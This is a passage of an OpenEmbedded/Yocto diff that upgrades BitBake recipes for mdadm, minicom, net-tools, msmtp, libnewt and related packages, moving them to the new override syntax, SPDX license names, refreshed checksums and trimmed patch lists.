+targetdir=/mdadm-testing-dir
+
+rm -rf $targetdir $logdir
+mkdir -p $targetdir $logdir
-rm -rf /mdadm-testing-dir/*
+# make the test continue to execute even one fail
+./test --keep-going --disable-integrity --skip-broken --save-logs --logdir=$logdir
diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.3.bb
index 001d3331a7..228fc6f84e 100644
--- a/meta/recipes-extended/mdadm/mdadm_4.1.bb
+++ b/meta/recipes-extended/mdadm/mdadm_4.3.bb
@@ -1,8 +1,9 @@
SUMMARY = "Tool for managing software RAID under Linux"
HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
+DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
-# Some files are GPLv2+ while others are GPLv2.
-LICENSE = "GPLv2 & GPLv2+"
+# Some files are GPL-2.0-only while others are GPL-2.0-or-later.
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
@@ -11,42 +12,41 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
file://run-ptest \
file://mdadm-3.3.2_x32_abi_time_t.patch \
- file://mdadm-fix-ptest-build-errors.patch \
file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
- file://0001-Compute-abs-diff-in-a-standard-compliant-way.patch \
file://0001-fix-gcc-8-format-truncation-warning.patch \
file://debian-no-Werror.patch \
- file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \
file://mdadm.init \
file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
- file://include_sysmacros.patch \
- file://0001-mdadm-skip-test-11spare-migration.patch \
+ file://0001-Makefile-install-mdcheck.patch \
+ file://0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch \
+ file://0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch \
+ file://0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch \
+ file://0001-include-libgen.h-for-basename-API.patch \
"
-SRC_URI[md5sum] = "51bf3651bd73a06c413a2f964f299598"
-SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1934f4a"
+SRC_URI[sha256sum] = "416727ae1f1080ea6e3090cea36dd076826fc369151e36ab736557ba92196f9f"
inherit autotools-brokensep ptest systemd
-SYSTEMD_SERVICE_${PN} = "mdmonitor.service"
-SYSTEMD_AUTO_ENABLE = "disable"
+DEPENDS = "udev"
-CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member"
+SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
+SYSTEMD_AUTO_ENABLE = "disable"
# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
# prevents 64-bit userland from seeing this definition, instead defaulting
# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
# int-ll64.h included
-CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
-EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \
- BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"'
+EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
+ BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev" LDFLAGS="${LDFLAGS}"'
-DEBUG_OPTIMIZATION_append = " -Wno-error"
+DEBUG_OPTIMIZATION:append = " -Wno-error"
do_compile() {
oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
@@ -57,14 +57,14 @@ do_install() {
autotools_do_install
}
-do_install_append() {
+do_install:append() {
install -d ${D}/${sysconfdir}/
install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
install -d ${D}/${sysconfdir}/init.d
install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
}
-do_install_append() {
+do_install:append() {
oe_runmake install-systemd DESTDIR=${D}
}
@@ -76,7 +76,6 @@ do_install_ptest() {
cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
cp ${S}/test ${D}${PTEST_PATH}
sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/test
- sed -e 's!/var/tmp!/mdadm-testing-dir!g' -i ${D}${PTEST_PATH}/tests/*
sed -i -e '/echo -ne "$_script... "/d' \
-e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
-e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
@@ -90,12 +89,26 @@ do_install_ptest() {
do
install -D -m 755 $prg ${D}${PTEST_PATH}/
done
+
+ # Disable tests causing intermittent autobuilder failures
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/19raid6check.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/20raid5journal.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/21raid5cache.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-spare.broken
+ echo "intermittent failure on autobuilder" > ${D}${PTEST_PATH}/tests/10ddf-fail-stop-readd.broken
}
-RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs"
-RRECOMMENDS_${PN}-ptest += " \
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-ptest += " \
+ bash \
+ e2fsprogs-mke2fs \
+ util-linux-lsblk \
+ util-linux-losetup \
+ util-linux-blockdev \
+ strace \
+"
+RRECOMMENDS:${PN}-ptest += " \
coreutils \
- util-linux \
kernel-module-loop \
kernel-module-linear \
kernel-module-raid0 \
@@ -104,4 +117,11 @@ RRECOMMENDS_${PN}-ptest += " \
kernel-module-raid456 \
"
-FILES_${PN} += "${systemd_unitdir}/*"
+FILES:${PN} += "${systemd_unitdir}/*"
+
+# strace is not yet ported to rv32
+RDEPENDS:${PN}-ptest:remove:riscv32 = "strace"
+do_install_ptest:append:riscv32 () {
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-grow.broken
+ echo "disabled, no strace" > ${D}${PTEST_PATH}/tests/07revert-inplace.broken
+}
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 491b892093..aa5a989df2 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,8 +1,8 @@
SUMMARY = "Compact getty terminal handler for virtual consoles only"
SECTION = "console/utils"
HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
-LICENSE = "GPLv2"
-PR = "r3"
+DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=0c56db0143f4f80c369ee3af7425af6e"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BP}.tar.gz"
@@ -23,7 +23,7 @@ do_install(){
inherit update-alternatives
-ALTERNATIVE_${PN} = "getty"
+ALTERNATIVE:${PN} = "getty"
ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 22:35:31 +0000
-Subject: [PATCH] Fix build issus surfaced due to musl
-
-src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
- char fname[MAXNAMLEN + 1]; /* filename + terminating null */
-
-src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
-| ioctl(consolefd, KIOCSOUND, k);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/dial.c | 2 +-
- src/getsdir.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index a90c1d2..bf02574 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -39,7 +39,7 @@
- #include "intl.h"
-
- #ifdef VC_MUSIC
--# if defined(__GLIBC__)
-+# if defined(__GLIBC__) || defined(__linux__)
- # include <sys/ioctl.h>
- # include <sys/kd.h>
- # include <sys/time.h>
-diff --git a/src/getsdir.c b/src/getsdir.c
-index 2195b27..b61a361 100644
---- a/src/getsdir.c
-+++ b/src/getsdir.c
-@@ -30,6 +30,7 @@
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/param.h>
- #include <errno.h>
-
- #include "getsdir.h"
---
-2.5.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
deleted file mode 100644
index bd8261c979..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Subject: [PATCH] fix minicom -h/-v return value is not 0
-
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
-
----
- src/minicom.c | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/src/minicom.c b/src/minicom.c
-index e1a557b..730da7c 100644
---- a/src/minicom.c
-+++ b/src/minicom.c
-@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
- "modify it under the terms of the GNU General Public License\n"
- "as published by the Free Software Foundation; either version\n"
- "2 of the License, or (at your option) any later version.\n\n");
-- exit(1);
-- break;
-+ exit(0);
- case 's': /* setup mode */
- dosetup = 1;
- break;
- case 'h':
- helpthem();
-- exit(1);
-- break;
-+ exit(0);
- case 'p': /* Pseudo terminal to use. */
- if (strncmp(optarg, "/dev/", 5) == 0)
- optarg += 5;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
deleted file mode 100644
index f5c08896ff..0000000000
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Upstream-Status: Pending
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/configure.in 2013-02-06 18:18:13.000000000 +0100
-+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
-@@ -40,7 +40,13 @@
- fi
-
- PKG_PROG_PKG_CONFIG
--if test -n "$PKG_CONFIG"; then
-+
-+AC_ARG_ENABLE([lockdev],
-+ AS_HELP_STRING([--enable-lockdev],
-+ [Enable lockdev support (def: enabled)]),
-+ [], [enable_lockdev="yes"])
-+
-+if test -n "$PKG_CONFIG" && test "x$enable_lockdev" = xyes; then
- PKG_CHECK_MODULES([LOCKDEV], [lockdev], AC_DEFINE([HAVE_LOCKDEV],[1],[Define if you have lockdev]),[:])
- fi
-
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.9.bb
index 1e6f1317eb..907d5c79c9 100644
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ b/meta/recipes-extended/minicom/minicom_2.9.bb
@@ -1,20 +1,15 @@
SUMMARY = "Text-based modem control and terminal emulation program"
-HOMEPAGE = "http://alioth.debian.org/projects/minicom/"
+HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
SECTION = "console/network"
DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
-SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://allow.to.disable.lockdev.patch \
- file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
- file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
- "
+SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2"
-SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62"
-SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
+SRC_URI[sha256sum] = "9efbb6458140e5a0de445613f0e76bcf12cbf7a9892b2f53e075c2e7beaba86c"
PACKAGECONFIG ??= ""
PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
@@ -25,4 +20,6 @@ do_install() {
for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
}
-RRECOMMENDS_${PN} += "lrzsz"
+RRECOMMENDS:${PN} += "lrzsz"
+
+RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
index 804ed59b4e..b575fad5e1 100644
--- a/meta/recipes-extended/msmtp/msmtp_1.8.11.bb
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
HOMEPAGE = "https://marlam.de/msmtp/"
SECTION = "console/network"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
DEPENDS = "zlib gnutls"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
@@ -11,15 +11,15 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[sha256sum] = "f25f0fa177ce9e0ad65c127e790a37f35fb64fee9e33d90345844c5c86780e60"
+SRC_URI[sha256sum] = "2dfe1dbbb397d26fe0b0b6b2e9cd2efdf9d72dd42d18e70d7f363ada2652d738"
inherit gettext autotools update-alternatives pkgconfig
EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
-ALTERNATIVE_${PN} = "sendmail"
+ALTERNATIVE:${PN} = "sendmail"
# /usr/lib/sendmial is required by LSB core test
-ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail"
+ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch b/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
deleted file mode 100644
index 74d74668ce..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Description: Accept "pointtopoint" as a synonym for "pointopoint"
-Bug-Debian: https://bugs.debian.org/443075
-Author: Justin Pryzby <pryzbyj@libra>
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/ifconfig.c
-+++ b/ifconfig.c
-@@ -644,14 +644,14 @@
- spp++;
- continue;
- }
-- if (!strcmp(*spp, "-pointopoint")) {
-+ if (!strcmp(*spp, "-pointopoint") || !strcmp(*spp, "-pointtopoint")) {
- goterr |= clr_flag(ifr.ifr_name, IFF_POINTOPOINT);
- spp++;
- if (test_flag(ifr.ifr_name, IFF_POINTOPOINT) > 0)
- fprintf(stderr, _("Warning: Interface %s still in POINTOPOINT mode.\n"), ifr.ifr_name);
- continue;
- }
-- if (!strcmp(*spp, "pointopoint")) {
-+ if (!strcmp(*spp, "pointopoint") || !strcmp(*spp, "pointtopoint")) {
- if (*(spp + 1) != NULL) {
- spp++;
- safe_strncpy(host, *spp, (sizeof host));
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch b/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
deleted file mode 100644
index 782b94bc61..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Description: Bug#541172: netstat.c exit codes
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/netstat.c
-+++ b/netstat.c
-@@ -2237,12 +2237,14 @@
- parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp);
- #else
- ENOSUPP("netstat", "AF INET");
-+ exit(1);
- #endif
- } else if(!strcmp(afname, "inet6")) {
- #if HAVE_AFINET6
- parsesnmp6(flag_raw, flag_tcp, flag_udp);
- #else
- ENOSUPP("netstat", "AF INET6");
-+ exit(1);
- #endif
- } else {
- printf(_("netstat: No statistics support for specified address family: %s\n"), afname);
diff --git a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
index dcc2218e48..33304297ec 100644
--- a/meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb
+++ b/meta/recipes-extended/net-tools/net-tools_2.10.bb
@@ -2,18 +2,15 @@ SUMMARY = "Basic networking tools"
DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
HOMEPAGE = "http://net-tools.berlios.de/"
BUGTRACKER = "http://bugs.debian.org/net-tools"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
-PV = "1.60-20181103+git${SRCPV}"
-SRCREV = "0eebece8c964e3cfa8a018f42b2e7e751a7009a0"
-SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https \
+SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
+SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
file://net-tools-config.h \
file://net-tools-config.make \
file://Add_missing_headers.patch \
- file://Bug_443075-ifconfig.c-pointtopoint_spelling.patch \
- file://Bug_541172-netstat.c-exit-codes.patch \
"
S = "${WORKDIR}/git"
@@ -28,6 +25,8 @@ PACKAGECONFIG[hostname] = ""
PACKAGECONFIG[arp] = ""
PACKAGECONFIG[serial] = ""
PACKAGECONFIG[plip] = ""
+PACKAGECONFIG[slattach] = ""
+PACKAGECONFIG[plipconfig] = ""
do_configure() {
# net-tools has its own config mechanism requiring "make config"
@@ -91,8 +90,8 @@ base_bindir_progs = "ifconfig netstat route \
${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
"
-ALTERNATIVE_${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
-ALTERNATIVE_${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
+ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
ALTERNATIVE_PRIORITY[hostname.1] = "10"
@@ -105,4 +104,18 @@ python __anonymous() {
}
ALTERNATIVE_PRIORITY = "100"
+NETTOOLS_PACKAGES = "${PN}-mii-tool"
+NETTOOLS_PACKAGES:class-native = ""
+
+PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
+RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
+
+FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
+
+ALTERNATIVE:${PN}:remove = "mii-tool"
+
+ALTERNATIVE:${PN}-mii-tool = "mii-tool"
+ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
+ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
+
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
index a4b3afd959..090ed5c1c9 100644
--- a/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
+++ b/meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch
@@ -1,4 +1,4 @@
-From 58245b859ffbcb1780575bf1b0a018d55e74e434 Mon Sep 17 00:00:00 2001
+From 08ba909500412611953aea0fa2fe0d8fe76b6e24 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
Date: Wed, 21 Sep 2016 21:14:40 +0200
Subject: [PATCH] detect gold as GNU linker too
@@ -9,23 +9,21 @@ Content-Transfer-Encoding: 8bit
Upstream-Status: Pending
Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
+
---
configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 03e8bda..c2fce51 100644
+index 468c718..cd93f30 100644
--- a/configure.ac
+++ b/configure.ac
@@ -28,7 +28,7 @@ AC_CHECK_SIZEOF([void *])
AC_MSG_CHECKING([for GNU ld])
- LD=`$CC -print-prog-name=ld 2>&5`
+ LD=$($CC -print-prog-name=ld 2>&5)
--if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld"` = 0; then
-+if test `$LD -v 2>&1 | $ac_cv_path_GREP -c "GNU "` = 0; then
+-if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ld") = 0; then
++if test $($LD -v 2>&1 | $ac_cv_path_GREP -c "GNU ") = 0; then
# Not
GNU_LD=""
AC_MSG_RESULT([no])
---
-2.5.5
-
diff --git a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch b/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
deleted file mode 100644
index ca235d5108..0000000000
--- a/meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From f60dc1063607ca1f201ba4cbda467d8af3f78f64 Mon Sep 17 00:00:00 2001
-From: Miroslav Lichvar <mlichvar@redhat.com>
-Date: Tue, 1 Oct 2019 16:37:55 +0200
-Subject: [PATCH] don't ignore CFLAGS when building snack
-
-In addition to the flags returned by python-config --cflags, use the
-user-specified CFLAGS when building the snack object.
-
-Upstream-Status: Backport from master
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile.in | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index be5f87b..6facd5e 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -96,8 +96,8 @@ _snack.$(SOEXT): snack.c $(LIBNEWTSH)
- PIFLAGS=`$$pyconfig --includes`; \
- PLDFLAGS=`$$pyconfig --ldflags`; \
- PLFLAGS=`$$pyconfig --libs`; \
-- echo $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-- $(CC) $(SHCFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ echo $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
-+ $(CC) $(SHCFLAGS) $(CFLAGS) $(CPPFLAGS) $$PIFLAGS $$PCFLAGS -c -o $$ver/snack.o snack.c; \
- echo $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- $(CC) --shared $$PLDFLAGS $$PLFLAGS $(LDFLAGS) -o $$ver/_snack.$(SOEXT) $$ver/snack.o -L. -lnewt $(LIBS); \
- done || :
diff --git a/meta/recipes-extended/newt/libnewt_0.52.21.bb b/meta/recipes-extended/newt/libnewt_0.52.24.bb
index 88b4cf4a03..1e39a1c5ca 100644
--- a/meta/recipes-extended/newt/libnewt_0.52.21.bb
+++ b/meta/recipes-extended/newt/libnewt_0.52.24.bb
@@ -11,7 +11,7 @@ slang library."
HOMEPAGE = "https://releases.pagure.org/newt/"
SECTION = "libs"
-LICENSE = "LGPLv2"
+LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
# slang needs to be >= 2.2
@@ -21,15 +21,13 @@ SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
file://cross_ar.patch \
file://Makefile.in-Add-tinfo-library-to-the-linking-librari.patch \
file://0001-detect-gold-as-GNU-linker-too.patch \
- file://0002-don-t-ignore-CFLAGS-when-building-snack.patch \
"
-SRC_URI[md5sum] = "a0a5fd6b53bb167a65e15996b249ebb5"
-SRC_URI[sha256sum] = "265eb46b55d7eaeb887fca7a1d51fe115658882dfe148164b6c49fccac5abb31"
+SRC_URI[sha256sum] = "5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb"
S = "${WORKDIR}/newt-${PV}"
-inherit autotools-brokensep python3native python3-dir
+inherit autotools-brokensep python3native python3-dir python3targetconfig
EXTRA_OECONF = "--without-tcl --with-python"
@@ -39,20 +37,20 @@ CLEANBROKEN = "1"
export CPPFLAGS
-PACKAGES_prepend = "whiptail ${PN}-python "
+PACKAGES:prepend = "whiptail ${PN}-python "
-RDEPENDS_${PN}-python += "python3-core"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
+RDEPENDS:${PN}-python += "python3-core"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}/*"
-do_configure_prepend() {
+do_configure:prepend() {
sh autogen.sh
}
-do_compile_prepend() {
+do_compile:prepend() {
# Make sure the recompile is OK
rm -f ${B}/.depend
}
-FILES_whiptail = "${bindir}/whiptail"
+FILES:whiptail = "${bindir}/whiptail"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
index 7501837937..b17cba4a78 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
@@ -13,7 +13,7 @@ VIRTUAL-RUNTIME_vim ?= "vim-tiny"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
base-passwd \
bash \
bind-utils \
@@ -21,8 +21,8 @@ RDEPENDS_${PN} = "\
coreutils \
cpio \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \
- dhcp-client \
- ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dhcp-server", d)} \
+ dhcpcd \
+ ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \
diffutils \
${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \
e2fsprogs \
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
index 16c2f9f2aa..8dc62954a2 100644
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
